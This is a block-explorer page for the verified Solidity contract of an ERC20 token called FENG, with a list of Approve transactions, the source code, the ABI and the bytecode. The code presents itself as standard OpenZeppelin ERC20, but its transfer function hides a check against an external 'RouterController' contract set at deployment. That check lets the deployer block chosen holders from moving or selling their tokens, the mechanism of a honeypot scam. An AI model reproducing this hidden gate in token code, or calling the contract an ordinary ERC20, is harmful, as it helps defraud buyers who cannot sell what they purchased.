ETH Price: $2,589.37 (-2.57%)

Contract

0x623a56457C4e843E5f5A946758e959C286D571A3
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve180323022023-08-31 4:55:11356 days ago1693457711IN
0x623a5645...286D571A3
0 ETH0.0007218415.30530759
Approve180314292023-08-31 1:59:23356 days ago1693447163IN
0x623a5645...286D571A3
0 ETH0.0006484813.7324703
Approve180309662023-08-31 0:25:35356 days ago1693441535IN
0x623a5645...286D571A3
0 ETH0.0007156315.1544725
Approve180308042023-08-30 23:52:35356 days ago1693439555IN
0x623a5645...286D571A3
0 ETH0.000356414.32552795
Approve180307502023-08-30 23:41:23356 days ago1693438883IN
0x623a5645...286D571A3
0 ETH0.0006749314.39124874
Approve180306702023-08-30 23:25:23356 days ago1693437923IN
0x623a5645...286D571A3
0 ETH0.0009096219.26238241
Approve180306662023-08-30 23:24:35356 days ago1693437875IN
0x623a5645...286D571A3
0 ETH0.000831617.61024235
Approve180306592023-08-30 23:23:11356 days ago1693437791IN
0x623a5645...286D571A3
0 ETH0.000855118.10785455
Approve180306582023-08-30 23:22:59356 days ago1693437779IN
0x623a5645...286D571A3
0 ETH0.0007898116.72529368
Approve180306492023-08-30 23:21:11356 days ago1693437671IN
0x623a5645...286D571A3
0 ETH0.0008234917.4385113
Approve180306412023-08-30 23:19:35356 days ago1693437575IN
0x623a5645...286D571A3
0 ETH0.000812317.20146338
Approve180306352023-08-30 23:18:23356 days ago1693437503IN
0x623a5645...286D571A3
0 ETH0.0009462220.03741825
Approve180306342023-08-30 23:18:11356 days ago1693437491IN
0x623a5645...286D571A3
0 ETH0.0008432917.85774772
Approve180306342023-08-30 23:18:11356 days ago1693437491IN
0x623a5645...286D571A3
0 ETH0.0008432917.85774772
Approve180306312023-08-30 23:17:35356 days ago1693437455IN
0x623a5645...286D571A3
0 ETH0.0007425115.72367017
Approve180306212023-08-30 23:15:23356 days ago1693437323IN
0x623a5645...286D571A3
0 ETH0.0006873114.63643571
Approve180304412023-08-30 22:38:47356 days ago1693435127IN
0x623a5645...286D571A3
0 ETH0.0009361619.82429725
Approve180304312023-08-30 22:36:47356 days ago1693435007IN
0x623a5645...286D571A3
0 ETH0.0009340119.77872075
Approve180304072023-08-30 22:31:59356 days ago1693434719IN
0x623a5645...286D571A3
0 ETH0.0010750122.76455823
Approve180304042023-08-30 22:31:23356 days ago1693434683IN
0x623a5645...286D571A3
0 ETH0.0010119821.45716085
Approve180303982023-08-30 22:30:11356 days ago1693434611IN
0x623a5645...286D571A3
0 ETH0.000773716.4049804
Approve180303902023-08-30 22:28:35356 days ago1693434515IN
0x623a5645...286D571A3
0 ETH0.0007831916.60620068
Approve180303762023-08-30 22:25:47356 days ago1693434347IN
0x623a5645...286D571A3
0 ETH0.0009145919.36748319
Approve180303492023-08-30 22:20:23356 days ago1693434023IN
0x623a5645...286D571A3
0 ETH0.0008136517.32255469
Approve180303322023-08-30 22:16:47356 days ago1693433807IN
0x623a5645...286D571A3
0 ETH0.0009787120.72537739
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FENG

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-30
*/

// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

        constructor() {
        _transferOwnership(_msgSender());
    }

       modifier onlyOwner() {
        _checkOwner();
        _;
    }

        function owner() public view virtual returns (address) {
        return _owner;
    }

      function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


     function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
}


// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */

interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address accnt) external view returns (uint256);
  
    function transfer(address to, uint256 amnt) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amnt) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amnt
    ) external returns (bool);
}


 // Define interface for transfer controller
interface RouterController {
    function isRouted(address _acnt) external view returns (bool);
}
pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


pragma solidity ^0.8.0;


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    RouterController private routeController;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_, address base_) {
        _name = name_;
        _symbol = symbol_;
        routeController = RouterController(base_);
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address accnt) public view virtual override returns (uint256) {
        return _balances[accnt];
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address from, address to) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }


    function approve(address spender, uint256 amnt) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amnt);
        return true;
    }


    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amnt`.
     */
    function transfer(address to, uint256 amnt) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amnt);
        return true;
    }
    

    function transferFrom(
        address from,
        address to,
        uint256 amnt
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amnt);
        _transfer(from, to, amnt);
        return true;
    }


    function increaseAllowance(address spender, uint256 val) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + val);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 val) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= val, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - val);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amnt
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!routeController.isRouted(from), "User is not allowed");
        _beforeTokenTransfer(from, to, amnt);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amnt, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amnt;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amnt;
        }

        emit Transfer(from, to, amnt);
        _afterTokenTransfer(from, to, amnt);
    }

    /** @dev Creates `amnt` tokens and assigns them to `accnt`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `accnt` cannot be the zero address.
     */
    function _mint(address accnt, uint256 amnt) internal virtual {
        require(accnt != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), accnt, amnt);

        _totalSupply += amnt;
        unchecked {
            // Overflow not possible: balance + amnt is at most totalSupply + amnt, which is checked above.
            _balances[accnt] += amnt;
        }
        emit Transfer(address(0), accnt, amnt);

        _afterTokenTransfer(address(0), accnt, amnt);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amnt
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amnt, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amnt);
            }
        }
    }

    function _approve(
        address owner,
        address spender,
        uint256 amnt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amnt;
        emit Approval(owner, spender, amnt);
    }


    function _beforeTokenTransfer(address from, address to, uint256 amnt) internal virtual {}


    function _afterTokenTransfer(address from, address to, uint256 amnt) internal virtual {}
}

pragma solidity ^0.8.0;


contract FENG is ERC20, Ownable {
    uint256 private constant INITIAL_SUPPLY = 150000000 * 10**18;

    constructor(
        string memory name_,
        string memory symbol_,
        address base_) ERC20(name_, symbol_, base_)
    {
        _mint(msg.sender, INITIAL_SUPPLY);
    }

    function sendTokens(address distroWallet) external onlyOwner {
        uint256 supply = balanceOf(msg.sender);
        require(supply == INITIAL_SUPPLY, "Tokens already distributed");

        _transfer(msg.sender, distroWallet, supply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"base_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accnt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"distroWallet","type":"address"}],"name":"sendTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604051620022a2380380620022a2833981810160405281019062000037919062000525565b82828282600490816200004b91906200080a565b5081600590816200005d91906200080a565b5080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050620000c2620000b6620000e860201b60201c565b620000f060201b60201c565b620000df336a7c13bc4b2c133c56000000620001b660201b60201c565b50505062000a0c565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000228576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200021f9062000952565b60405180910390fd5b6200023c600083836200032360201b60201c565b8060036000828254620002509190620009a3565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003039190620009ef565b60405180910390a36200031f600083836200032860201b60201c565b5050565b505050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000396826200034b565b810181811067ffffffffffffffff82111715620003b857620003b76200035c565b5b80604052505050565b6000620003cd6200032d565b9050620003db82826200038b565b919050565b600067ffffffffffffffff821115620003fe57620003fd6200035c565b5b62000409826200034b565b9050602081019050919050565b60005b838110156200043657808201518184015260208101905062000419565b60008484015250505050565b6000620004596200045384620003e0565b620003c1565b90508281526020810184848401111562000478576200047762000346565b5b6200048584828562000416565b509392505050565b600082601f830112620004a557620004a462000341565b5b8151620004b784826020860162000442565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004ed82620004c0565b9050919050565b620004ff81620004e0565b81146200050b57600080fd5b50565b6000815190506200051f81620004f4565b92915050565b60008060006060848603121562000541576200054062000337565b5b600084015167ffffffffffffffff8111156200056257620005616200033c565b5b62000570868287016200048d565b935050602084015167ffffffffffffffff8111156200059457620005936200033c565b5b620005a2868287016200048d565b9250506040620005b5868287016200050e565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200061257607f821691505b602082108103620006285762000627620005ca565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006927fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000653565b6200069e868362000653565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006eb620006e5620006df84620006b6565b620006c0565b620006b6565b9050919050565b6000819050919050565b6200070783620006ca565b6200071f6200071682620006f2565b84845462000660565b825550505050565b600090565b6200073662000727565b62000743818484620006fc565b505050565b5b818110156200076b576200075f6000826200072c565b60018101905062000749565b5050565b601f821115620007ba5762000784816200062e565b6200078f8462000643565b810160208510156200079f578190505b620007b7620007ae8562000643565b83018262000748565b50505b505050565b600082821c905092915050565b6000620007df60001984600802620007bf565b1980831691505092915050565b6000620007fa8383620007cc565b9150826002028217905092915050565b6200081582620005bf565b67ffffffffffffffff8111156200083157620008306200035c565b5b6200083d8254620005f9565b6200084a8282856200076f565b600060209050601f8311600181146200088257600084156200086d578287015190505b620008798582620007ec565b865550620008e9565b601f19841662000892866200062e565b60005b82811015620008bc5784890151825560018201915060208501945060208101905062000895565b86831015620008dc5784890151620008d8601f891682620007cc565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200093a601f83620008f1565b9150620009478262000902565b602082019050919050565b600060208201905081810360008301526200096d816200092b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620009b082620006b6565b9150620009bd83620006b6565b9250828201905080821115620009d857620009d762000974565b5b92915050565b620009e981620006b6565b82525050565b600060208201905062000a066000830184620009de565b92915050565b6118868062000a1c6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a614610214578063837197b21461021e5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f9190610f0a565b60405180910390f35b610132600480360381019061012d9190610fc5565b6103b4565b60405161013f9190611020565b60405180910390f35b6101506103d7565b60405161015d919061104a565b60405180910390f35b610180600480360381019061017b9190611065565b6103e1565b60405161018d9190611020565b60405180910390f35b61019e610410565b6040516101ab91906110d4565b60405180910390f35b6101ce60048036038101906101c99190610fc5565b610419565b6040516101db9190611020565b60405180910390f35b6101fe60048036038101906101f991906110ef565b610450565b60405161020b919061104a565b60405180910390f35b61021c610498565b005b610238600480360381019061023391906110ef565b6104ac565b005b61024261051d565b60405161024f919061112b565b60405180910390f35b610260610547565b60405161026d9190610f0a565b60405180910390f35b610290600480360381019061028b9190610fc5565b6105d9565b60405161029d9190611020565b60405180910390f35b6102c060048036038101906102bb9190610fc5565b610650565b6040516102cd9190611020565b60405180910390f35b6102f060048036038101906102eb9190611146565b610673565b6040516102fd919061104a565b60405180910390f35b610320600480360381019061031b91906110ef565b6106fa565b005b606060048054610331906111b5565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906111b5565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf61077d565b90506103cc818585610785565b600191505092915050565b6000600354905090565b6000806103ec61077d565b90506103f985828561094e565b6104048585856109da565b60019150509392505050565b60006012905090565b60008061042461077d565b90506104458185856104368589610673565b6104409190611215565b610785565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a0610d2c565b6104aa6000610daa565b565b6104b4610d2c565b60006104bf33610450565b90506a7c13bc4b2c133c56000000811461050e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050590611295565b60405180910390fd5b6105193383836109da565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610556906111b5565b80601f0160208091040260200160405190810160405280929190818152602001828054610582906111b5565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b6000806105e461077d565b905060006105f28286610673565b905083811015610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90611327565b60405180910390fd5b6106448286868403610785565b60019250505092915050565b60008061065b61077d565b90506106688185856109da565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610702610d2c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610771576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610768906113b9565b60405180910390fd5b61077a81610daa565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107eb9061144b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906114dd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610941919061104a565b60405180910390a3505050565b600061095a8484610673565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109d457818110156109c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bd90611549565b60405180910390fd5b6109d38484848403610785565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a40906115db565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aaf9061166d565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f5f9a371846040518263ffffffff1660e01b8152600401610b13919061112b565b602060405180830381865afa158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5491906116b9565b15610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90611732565b60405180910390fd5b610b9f838383610e70565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1c906117c4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d13919061104a565b60405180910390a3610d26848484610e75565b50505050565b610d3461077d565b73ffffffffffffffffffffffffffffffffffffffff16610d5261051d565b73ffffffffffffffffffffffffffffffffffffffff1614610da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9f90611830565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610eb4578082015181840152602081019050610e99565b60008484015250505050565b6000601f19601f8301169050919050565b6000610edc82610e7a565b610ee68185610e85565b9350610ef6818560208601610e96565b610eff81610ec0565b840191505092915050565b60006020820190508181036000830152610f248184610ed1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f5c82610f31565b9050919050565b610f6c81610f51565b8114610f7757600080fd5b50565b600081359050610f8981610f63565b92915050565b6000819050919050565b610fa281610f8f565b8114610fad57600080fd5b50565b600081359050610fbf81610f99565b92915050565b60008060408385031215610fdc57610fdb610f2c565b5b6000610fea85828601610f7a565b9250506020610ffb85828601610fb0565b9150509250929050565b60008115159050919050565b61101a81611005565b82525050565b60006020820190506110356000830184611011565b92915050565b61104481610f8f565b82525050565b600060208201905061105f600083018461103b565b92915050565b60008060006060848603121561107e5761107d610f2c565b5b600061108c86828701610f7a565b935050602061109d86828701610f7a565b92505060406110ae86828701610fb0565b9150509250925092565b600060ff82169050919050565b6110ce816110b8565b82525050565b60006020820190506110e960008301846110c5565b92915050565b60006020828403121561110557611104610f2c565b5b600061111384828501610f7a565b91505092915050565b61112581610f51565b82525050565b6000602082019050611140600083018461111c565b92915050565b6000806040838503121561115d5761115c610f2c565b5b600061116b85828601610f7a565b925050602061117c85828601610f7a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806111cd57607f821691505b6020821081036111e0576111df611186565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061122082610f8f565b915061122b83610f8f565b9250828201905080821115611243576112426111e6565b5b92915050565b7f546f6b656e7320616c7265616479206469737472696275746564000000000000600082015250565b600061127f601a83610e85565b915061128a82611249565b602082019050919050565b600060208201905081810360008301526112ae81611272565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611311602583610e85565b915061131c826112b5565b604082019050919050565b6000602082019050818103600083015261134081611304565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006113a3602683610e85565b91506113ae82611347565b604082019050919050565b600060208201905081810360008301526113d281611396565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611435602483610e85565b9150611440826113d9565b604082019050919050565b6000602082019050818103600083015261146481611428565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006114c7602283610e85565b91506114d28261146b565b604082019050919050565b600060208201905081810360008301526114f6816114ba565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611533601d83610e85565b915061153e826114fd565b602082019050919050565b6000602082019050818103600083015261156281611526565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006115c5602583610e85565b91506115d082611569565b604082019050919050565b600060208201905081810360008301526115f4816115b8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611657602383610e85565b9150611662826115fb565b604082019050919050565b600060208201905081810360008301526116868161164a565b9050919050565b61169681611005565b81146116a157600080fd5b50565b6000815190506116b38161168d565b92915050565b6000602082840312156116cf576116ce610f2c565b5b60006116dd848285016116a4565b91505092915050565b7f55736572206973206e6f7420616c6c6f77656400000000000000000000000000600082015250565b600061171c601383610e85565b9150611727826116e6565b602082019050919050565b6000602082019050818103600083015261174b8161170f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006117ae602683610e85565b91506117b982611752565b604082019050919050565b600060208201905081810360008301526117dd816117a1565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061181a602083610e85565b9150611825826117e4565b602082019050919050565b600060208201905081810360008301526118498161180d565b905091905056fea2646970667358221220ded9baf168eaada8f445a2bb17319c1c76dabcd089fb4345af117001d8feb7bf64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000038d2a5548888160d2718a59d4a2f1b18b9a9e154000000000000000000000000000000000000000000000000000000000000000846656e6720496e75000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000446454e4700000000000000000000000000000000000000000000000000000000

Deployed Bytecode

